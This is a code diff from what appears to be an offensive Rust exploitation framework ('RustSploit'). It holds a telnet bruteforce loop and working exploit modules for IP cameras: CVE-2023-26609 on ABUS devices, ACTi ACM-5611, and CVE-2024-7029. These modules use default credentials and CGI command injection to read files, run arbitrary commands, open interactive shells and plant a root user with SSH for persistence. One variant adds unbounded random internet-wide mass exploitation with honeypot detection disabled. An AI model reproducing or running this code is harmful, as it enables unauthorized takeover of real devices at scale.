match state {
TelnetState::SendingUsername => {
let _ = writer.write_all(format!("{}\r\n", username).as_bytes()).await;
// Add requested 2s delay
tokio::time::sleep(Duration::from_secs(2)).await;
state = TelnetState::WaitingForPasswordPrompt;
}
TelnetState::SendingPassword => {
let _ = writer.write_all(format!("{}\r\n", password).as_bytes()).await;
state = TelnetState::WaitingForResult;
}
TelnetState::SendingHelp => {
let _ = writer.write_all(b"help\r\n").await;
state = TelnetState::WaitingForHelpResponse;
}
_ => {}
}
}
Ok((false, banner_detected))
}
+2
View File
@@ -1,2 +1,4 @@
pub mod generic; // <-- lowercase folder name
pub mod camera;
pub mod utils;
pub mod camxploit;
+203
View File
@@ -0,0 +1,203 @@
use std::sync::atomic::{AtomicU64, Ordering};
use std::time::Instant;
use colored::*;
use tokio::sync::Mutex;
use std::collections::HashMap;
use std::net::{IpAddr, Ipv4Addr};
use rand::Rng;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use tokio::process::Command;
/// Standard statistics tracking for bruteforce modules
pub struct BruteforceStats {
total_attempts: AtomicU64,
successful_attempts: AtomicU64,
failed_attempts: AtomicU64,
error_attempts: AtomicU64,
retried_attempts: AtomicU64,
start_time: Instant,
unique_errors: Mutex<HashMap<String, usize>>,
}
impl BruteforceStats {
pub fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful_attempts: AtomicU64::new(0),
failed_attempts: AtomicU64::new(0),
error_attempts: AtomicU64::new(0),
retried_attempts: AtomicU64::new(0),
start_time: Instant::now(),
unique_errors: Mutex::new(HashMap::new()),
}
}
pub fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.error_attempts.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
} else {
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
}
}
pub fn record_success(&self) {
self.record_attempt(true, false);
}
pub fn record_failure(&self) {
self.record_attempt(false, false);
}
pub fn record_retry(&self) {
self.retried_attempts.fetch_add(1, Ordering::Relaxed);
}
pub async fn record_error_detail(&self, msg: String) {
let mut guard = self.unique_errors.lock().await;
*guard.entry(msg).or_insert(0) += 1;
}
pub async fn record_error(&self, msg: String) {
// Increment error counter
self.record_attempt(false, true);
// Record detail
self.record_error_detail(msg).await;
}
pub fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let retries = self.retried_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
retries,
rate
);
let _ = std::io::Write::flush(&mut std::io::stdout());
}
pub async fn print_final(&self) {
println!();
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let retries = self.retried_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
println!("{}", "=== Statistics ===".bold());
println!(" Total attempts: {}", total);
println!(" Successful: {}", success.to_string().green().bold());
println!(" Failed: {}", failed);
println!(" Errors: {}", errors.to_string().red());
println!(" Retries: {}", retries);
println!(" Elapsed time: {:.2}s", elapsed);
if elapsed > 0.0 {
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
}
let errors_guard = self.unique_errors.lock().await;
if !errors_guard.is_empty() {
println!("\n{}", "Top Errors:".bold());
let mut sorted_errors: Vec<_> = errors_guard.iter().collect();
sorted_errors.sort_by(|a, b| b.1.cmp(a.1));
for (msg, count) in sorted_errors.into_iter().take(5) {
println!(" - {}: {}", msg.yellow(), count);
}
}
}
}
pub fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
// Basic check first to avoid expensive loop
if octets[0] == 10 || octets[0] == 127 || octets[0] == 0 {
continue;
}
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
pub async fn is_ip_checked(ip: &impl ToString, state_file: &str) -> bool {
// Ensure state file exists before checking
if !std::path::Path::new(state_file).exists() {
if let Ok(mut file) = OpenOptions::new()
.create(true)
.write(true)
.open(state_file)
.await
{
let _ = file.flush().await;
}
return false;
}
let ip_s = ip.to_string();
let status = Command::new("grep")
.arg("-F")
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(state_file)
.stderr(std::process::Stdio::null())
.status()
.await;
match status {
Ok(s) => s.success(),
Err(_) => false,
}
}
pub async fn mark_ip_checked(ip: &impl ToString, state_file: &str) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(state_file)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
pub fn parse_exclusions(min_ranges: &[&str]) -> Vec<ipnetwork::IpNetwork> {
let mut exclusion_subnets = Vec::new();
for cidr in min_ranges {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
exclusion_subnets
}
@@ -1,153 +0,0 @@
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
// CVE: CVE-2023-26609
// Author: d1g@segfault.net | Ported to Rust for RustSploit
// PoC converted 1:1 from Bash to async Rust logic
// Cargo.toml:
// [dependencies]
// anyhow = "1.0"
// reqwest = { version = "0.11", features = ["blocking", "rustls-tls"] }
// md5 = "0.7.0"
use anyhow::{Result, anyhow};
use md5;
use reqwest::Client;
use std::io::{self, Write};
/// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone)
fn format_host(raw: &str) -> String {
if raw.contains(':') {
// strip any number of existing brackets, then wrap once
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
format!("[{}]", stripped)
} else {
raw.to_string()
}
}
/// Send authenticated LFI request
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
let host = format_host(target);
let url = format!(
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
host, filepath
);
println!("[*] Sending LFI request to: {}", url);
let resp = client.get(&url).send().await?;
println!("[+] Status: {}", resp.status());
println!("[+] Body:\n{}", resp.text().await?);
Ok(())
}
/// Send authenticated RCE request with command injection
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let host = format_host(target);
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
host, cmd
);
println!("[*] Sending RCE request to: {}", url);
let resp = client.get(&url).send().await?;
println!("[+] Status: {}", resp.status());
println!("[+] Body:\n{}", resp.text().await?);
Ok(())
}
/// Stage 1: Generate SSH key
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("[*] Generating SSH key on target...");
exploit_rce(client, target, cmd).await
}
/// Stage 2: Inject a root user with an MD5-hashed password
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
// Compute lowercase-hex MD5 of the provided password
let hash = format!("{:x}", md5::compute(password));
println!("[*] MD5 hash of password: {}", hash);
// Build the echo command to append to /etc/passwd
let cmd = format!(
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
hash
);
println!("[*] Injecting root user into /etc/passwd...");
exploit_rce(client, target, &cmd).await
}
/// Stage 3: Start Dropbear SSH server
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("[*] Starting Dropbear SSH server...");
exploit_rce(client, target, cmd).await
}
/// Combined SSH persistence exploit
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
generate_ssh_key(client, target).await?;
inject_root_user(client, target, password).await?;
start_dropbear(client, target).await?;
println!("[+] Persistence complete! You can now SSH in with:");
println!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\
-oHostKeyAlgorithms=+ssh-rsa d1g@{}",
password, target
);
Ok(())
}
/// Prompt user for mode, and dispatch accordingly
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
println!("[*] Exploit mode selection for target: {}", target);
println!(" [1] LFI");
println!(" [2] RCE");
println!(" [3] SSH Persistence");
print!("> ");
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
match choice.trim() {
"1" => {
print!("Enter file path to read (e.g. /etc/passwd): ");
io::stdout().flush()?;
let mut fp = String::new();
io::stdin().read_line(&mut fp)?;
exploit_lfi(&client, target, fp.trim()).await?;
}
"2" => {
print!("Enter command to execute (e.g. id): ");
io::stdout().flush()?;
let mut cmd = String::new();
io::stdin().read_line(&mut cmd)?;
exploit_rce(&client, target, cmd.trim()).await?;
}
"3" => {
// Ask for the desired password, hash it, and persist
print!("Enter desired password for new root user: ");
io::stdout().flush()?;
let mut pwd = String::new();
io::stdin().read_line(&mut pwd)?;
let pwd = pwd.trim();
if pwd.is_empty() {
return Err(anyhow!("Password cannot be empty"));
}
persist_root_shell(&client, target, pwd).await?;
}
_ => return Err(anyhow!("Invalid choice")),
}
Ok(())
}
/// Entry point for the RustSploit dispatch system
pub async fn run(target: &str) -> Result<()> {
execute(target).await
}
@@ -1,122 +0,0 @@
use anyhow::Result;
use reqwest::Client;
use std::io::{self, Write};
use md5;
/// Normalize IPv6 targets, collapsing any number of outer brackets
/// and preserving an explicit port if one was given as `[...] : port`.
fn normalize_target(raw: &str) -> String {
// Case: bracketed IPv6 with port, e.g. "[[::1]]:8080"
if raw.contains("]:") {
if let Some(idx) = raw.rfind("]:") {
let addr_raw = &raw[..idx];
let port = &raw[idx + 2..];
// strip ALL brackets from the address portion
let addr_inner = addr_raw
.trim_start_matches('[')
.trim_end_matches(']')
.to_string();
return format!("[{}]:{}", addr_inner, port);
}
}
// Otherwise, remove any outer brackets entirely...
let inner = raw
.trim_start_matches('[')
.trim_end_matches(']')
.to_string();
// ...and only re-wrap in brackets if it's a bare IPv6 (contains a colon).
if inner.contains(':') {
format!("[{}]", inner)
} else {
inner
}
}
/// Send a command using the vulnerable RCE endpoint
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let normalized = normalize_target(target);
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
normalized, cmd
);
println!("[*] Sending RCE payload: {}", cmd);
let resp = client.get(&url).send().await?;
println!("[+] Status: {}", resp.status());
println!("[+] Response:\n{}", resp.text().await?);
Ok(())
}
/// Generate Dropbear SSH keys on the target system
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("[*] Generating Dropbear SSH key...");
exploit_rce(client, target, cmd).await
}
/// Inject a root user with a hashed password into /etc/passwd
async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> {
let payload = format!(
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
user, hash
);
println!("[*] Injecting user '{}' with root privileges...", user);
exploit_rce(client, target, &payload).await
}
/// Start Dropbear SSH daemon
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("[*] Starting Dropbear SSH daemon...");
exploit_rce(client, target, cmd).await
}
/// Generate an MD5 hash of the given password
fn generate_md5_hash(password: &str) -> String {
let digest = md5::compute(password.as_bytes());
format!("{:x}", digest)
}
/// Main interactive flow: get user/pass, hash it, and inject persistence
async fn execute_flow(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
println!("[*] Dropbear SSH persistence for target: {}", target);
print!("Enter username to inject: ");
io::stdout().flush()?;
let mut user = String::new();
io::stdin().read_line(&mut user)?;
let user = user.trim();
print!("Enter password (will be hashed): ");
io::stdout().flush()?;
let mut pass = String::new();
io::stdin().read_line(&mut pass)?;
let pass = pass.trim();
// Hash it!
let hash = generate_md5_hash(pass);
println!("[*] Generated MD5 hash: {}", hash);
// Run each step
generate_ssh_key(&client, target).await?;
inject_root_user(&client, target, user, &hash).await?;
start_dropbear(&client, target).await?;
println!("\n[+] Done. Try connecting with:");
println!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \
-oHostKeyAlgorithms=+ssh-rsa {}@{}",
pass, user, target
);
Ok(())
}
/// Dispatcher entry-point for the auto-dispatch framework
pub async fn run(target: &str) -> Result<()> {
execute_flow(target).await
}
-79
View File
@@ -1,79 +0,0 @@
use anyhow::{anyhow, Result};
use reqwest::Client;
use std::time::Duration;
/// // Executes an RCE on ACTi ACM-5611 Video Camera using command injection
/// // Reference:
/// // - https://www.exploitalert.com/view-details.html?id=34128
/// // - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
/// // Exploit authors:
/// // - Todor Donev <todor.donev@gmail.com>
/// // - GH0st3rs (RouterSploit module)
pub async fn run(target: &str) -> Result<()> {
let port = 8080; // // Default port
if check(target, port).await? {
println!("[+] Target seems vulnerable: {}:{}", target, port);
// // Simulated shell command execution
let cmd = "id"; // // You can change this to any test command
let output = execute(target, port, cmd).await?;
println!("[+] Executed '{}':\n{}", cmd, output);
// // You can extend this to implement full shell injection
// // shell(arch="armle", method="wget", location="/var/", exec_binary=...)
} else {
println!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port);
}
Ok(())
}
/// // Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(5))
.build()?;
let res = client
.get(&url)
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", format!("http://{}:{}", target, port))
.query(&[("iperf", format!(";{}", cmd))])
.send()
.await?;
if res.status().is_success() {
let text = res.text().await?;
Ok(text)
} else {
Err(anyhow!("Command execution failed, status code: {}", res.status()))
}
}
/// // Check if the target is running the vulnerable service
async fn check(target: &str, port: u16) -> Result<bool> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let index_url = format!("http://{}:{}/", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(5))
.build()?;
// // Check /cgi-bin/test
let test_res = client.get(&url).send().await?;
if test_res.status().is_success() {
// // Check root page contains 'Web Configurator'
let index_res = client.get(&index_url).send().await?;
if index_res.status().is_success() {
let body = index_res.text().await?;
if body.contains("Web Configurator") {
return Ok(true);
}
}
}
Ok(false)
}
@@ -1,114 +0,0 @@
use anyhow::Result;
use reqwest::Client;
use std::io::{self, Write};
use std::path::Path;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, BufReader};
/// // Ensures the target string has a scheme (http://) and includes port
fn normalize_url(ip: &str, port: &str) -> String {
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
ip.to_string()
} else {
format!("http://{}", ip)
};
let port = port.trim();
if port.is_empty() {
with_scheme
} else if with_scheme.contains(':') {
with_scheme // already has port
} else {
format!("{}:{}", with_scheme, port)
}
}
/// // Check if the device is vulnerable to CVE-2024-7029
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", "1;echo_CVE7029;");
let resp = client.get(url).send().await?;
let body = resp.text().await?;
Ok(body.contains("echo_CVE7029"))
}
/// // Interactive shell to send arbitrary commands
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
let stdin = tokio::io::stdin();
let mut lines = BufReader::new(stdin).lines();
loop {
print!("cve7029-shell> ");
io::stdout().flush()?;
if let Some(cmd) = lines.next_line().await? {
let cmd = cmd.trim();
if cmd.eq_ignore_ascii_case("exit") {
break;
}
match exec_cmd(client, base, cmd).await {
Ok(out) => println!("{}", out),
Err(e) => eprintln!("Error: {}", e),
}
} else {
break;
}
}
Ok(())
}
/// // Execute a remote command by abusing the brightness parameter
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
let payload = format!("1;{};", cmd);
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", &payload);
let response = client.get(url).send().await?;
Ok(response.text().await?)
}
/// // Prompt user for a custom port number
fn prompt_port() -> Result<String> {
print!("Enter port to use [default: 80]: ");
io::stdout().flush()?;
let mut port = String::new();
io::stdin().read_line(&mut port)?;
let port = port.trim();
Ok(if port.is_empty() { "80".to_string() } else { port.to_string() })
}
/// // Entry point required for RouterSploit-inspired dispatch system
pub async fn run(target: &str) -> Result<()> {
let port = prompt_port()?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
// // Handle either single IP or file of targets
let targets = if Path::new(target).exists() {
tokio::fs::read_to_string(target)
.await?
.lines()
.map(str::to_string)
.collect::<Vec<_>>()
} else {
vec![target.to_string()]
};
for raw_ip in &targets {
let url = normalize_url(raw_ip, &port);
if check_vuln(&client, &url).await? {
println!("[+] {} is vulnerable!", url);
interactive_shell(&client, &url).await?;
} else {
println!("[-] {} is not vulnerable", url);
}
}
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod wpair;
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,371 @@
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
// CVE: CVE-2023-26609
// Author: d1g@segfault.net | Ported to Rust for RustSploit
// PoC converted 1:1 from Bash to async Rust logic
use anyhow::{anyhow, Result, Context};
use colored::*;
use md5;
use rand::Rng;
use reqwest::Client;
use std::net::{IpAddr, Ipv4Addr};
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use std::io::{self, Write};
use tokio::io::AsyncWriteExt;
use tokio::sync::Semaphore;
use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use chrono::Local;
use crate::utils::normalize_target;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MASS_SCAN_CONCURRENCY: usize = 100;
const MASS_SCAN_PORT: u16 = 80;
// Bogon/Private/Reserved exclusion ranges
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
];
#[derive(Clone, Copy, Debug)]
enum ScanMode {
StandardCheck,
CustomCommand,
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
return ip_addr;
}
}
}
/// Send authenticated LFI request
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
let host = normalize_target(target)?;
let url = format!(
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
host, filepath
);
println!("{}", format!("[*] Sending LFI request to: {}", url).cyan());
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
if status.is_success() {
println!("{}", format!("[+] Status: {}", status).green());
println!("{}", "[+] Body:".green());
println!("{}", body);
} else {
println!("{}", format!("[-] Status: {}", status).red());
println!("{}", format!("[-] Body:\n{}", body).red());
}
Ok(())
}
/// Send authenticated RCE request with command injection
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let host = normalize_target(target)?;
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
host, cmd
);
println!("{}", format!("[*] Sending RCE request to: {}", url).cyan());
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
if status.is_success() {
println!("{}", format!("[+] Status: {}", status).green());
println!("{}", "[+] Body:".green());
println!("{}", body);
} else {
println!("{}", format!("[-] Status: {}", status).red());
println!("{}", format!("[-] Body:\n{}", body).red());
}
Ok(())
}
/// Stage 1: Generate SSH key
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("{}", "[*] Stage 1: Generating SSH key on target...".yellow());
exploit_rce(client, target, cmd).await
}
/// Stage 2: Inject a root user with an MD5-hashed password
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
// Compute lowercase-hex MD5 of the provided password
let hash = format!("{:x}", md5::compute(password));
println!("{}", format!("[*] MD5 hash of password: {}", hash).cyan());
// Build the echo command to append to /etc/passwd
let cmd = format!(
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
hash
);
println!("{}", "[*] Stage 2: Injecting root user into /etc/passwd...".yellow());
exploit_rce(client, target, &cmd).await
}
/// Stage 3: Start Dropbear SSH server
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("{}", "[*] Stage 3: Starting Dropbear SSH server...".yellow());
exploit_rce(client, target, cmd).await
}
/// Combined SSH persistence exploit
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
generate_ssh_key(client, target).await?;
inject_root_user(client, target, password).await?;
start_dropbear(client, target).await?;
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
println!(
"{}",
format!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa d1g@{}",
password, target
).cyan()
);
Ok(())
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
println!("{}", "║ CVE-2023-26609 - LFI, RCE and SSH Root Access ║".cyan());
println!("{}", "║ Variant 1 - Multi-mode (LFI/RCE/Persistence) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Prompt user for mode, and dispatch accordingly
/// Prompt user for mode, and dispatch accordingly
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
println!("{}", "[*] Exploit mode selection:".cyan().bold());
println!(" {} LFI (Local File Inclusion)", "[1]".green());
println!(" {} RCE (Remote Code Execution)", "[2]".green());
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
print!("{}", "> ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout")?;
let mut choice = String::new();
io::stdin().read_line(&mut choice).context("Failed to read choice")?;
match choice.trim() {
"1" => {
print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout")?;
let mut fp = String::new();
io::stdin().read_line(&mut fp).context("Failed to read file path")?;
exploit_lfi(&client, target, fp.trim()).await?;
}
"2" => {
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout")?;
let mut cmd = String::new();
io::stdin().read_line(&mut cmd).context("Failed to read command")?;
exploit_rce(&client, target, cmd.trim()).await?;
}
"3" => {
// Ask for the desired password, hash it, and persist
print!("{}", "Enter desired password for new root user: ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout")?;
let mut pwd = String::new();
io::stdin().read_line(&mut pwd).context("Failed to read password")?;
let pwd = pwd.trim();
if pwd.is_empty() {
return Err(anyhow!("Password cannot be empty"));
}
persist_root_shell(&client, target, pwd).await?;
}
_ => {
println!("{}", "[-] Invalid choice".red());
return Err(anyhow!("Invalid choice"));
}
}
Ok(())
}
/// Quick vulnerability check for mass scanning (no honeypot detection)
async fn quick_check(client: &Client, ip: &str, mode: ScanMode, custom_cmd: &str) -> bool {
let host = format!("{}:{}", ip, MASS_SCAN_PORT);
let cmd = if let ScanMode::CustomCommand = mode { custom_cmd } else { "id" };
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
host, cmd
);
match tokio::time::timeout(
Duration::from_secs(5),
client.get(&url).send()
).await {
Ok(Ok(resp)) => resp.status().is_success(),
_ => false,
}
}
/// Mass scan mode - infinite random IP scanning
async fn run_mass_scan() -> Result<()> {
display_banner();
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions (FIRST)
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
io::stdout().flush()?;
let mut excl_choice = String::new();
io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
// Prompt for Output File
print!("{}", "[?] Output File (default: abus_hits.txt): ".cyan());
io::stdout().flush()?;
let mut outfile = String::new();
io::stdin().read_line(&mut outfile)?;
let outfile = outfile.trim();
let outfile = if outfile.is_empty() { "abus_hits.txt" } else { outfile };
let outfile = outfile.to_string();
// Prompt for Payload Mode
println!("{}", "[?] Select Payload Mode:".cyan());
println!(" 1. Standard Check (Command: id)");
println!(" 2. Custom Command");
print!("{}", "Select option [1-2] (default 1): ".cyan());
io::stdout().flush()?;
let mut mode_str = String::new();
io::stdin().read_line(&mut mode_str)?;
let mode = match mode_str.trim() {
"2" => ScanMode::CustomCommand,
_ => ScanMode::StandardCheck,
};
let mut custom_cmd = String::new();
if let ScanMode::CustomCommand = mode {
print!("{}", "[?] Enter Custom Command: ".cyan());
io::stdout().flush()?;
std::io::stdin().read_line(&mut custom_cmd)?;
custom_cmd = custom_cmd.trim().to_string();
}
let custom_cmd = Arc::new(custom_cmd);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let client = Arc::new(client);
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
let checked = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicUsize::new(0));
// Result writer channel
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
let outfile_clone = outfile.clone();
tokio::spawn(async move {
let file_result = OpenOptions::new()
.create(true)
.append(true)
.open(&*outfile_clone)
.await;
let mut file = match file_result {
Ok(f) => f,
Err(e) => {
eprintln!("[-] Failed to open output file: {}", e);
return;
}
};
while let Some(result) = rx.recv().await {
let _ = file.write_all(result.as_bytes()).await;
}
});
// Stats reporter
let c = checked.clone();
let f = found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(10)).await;
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
}
});
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let cl = client.clone();
let chk = checked.clone();
let fnd = found.clone();
let tx = tx.clone();
let cc = custom_cmd.clone();
let current_mode = mode;
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
let ip_str = ip.to_string();
if quick_check(&cl, &ip_str, current_mode, &cc).await {
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
fnd.fetch_add(1, Ordering::Relaxed);
let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
let log_entry = format!("{} - {}\n", ip_str, timestamp);
let _ = tx.send(log_entry);
}
chk.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
}
/// Entry point for the RustSploit dispatch system
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
} else {
execute(target).await
}
}
@@ -1,2 +1,2 @@
pub mod abussecurity_camera_cve202326609variant1;
pub mod abussecurity_camera_cve202326609variant2;
@@ -0,0 +1,293 @@
use anyhow::{anyhow, Result, Context};
use colored::*;
use std::io::Write;
use reqwest::Client;
use std::time::Duration;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::sync::Semaphore;
use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
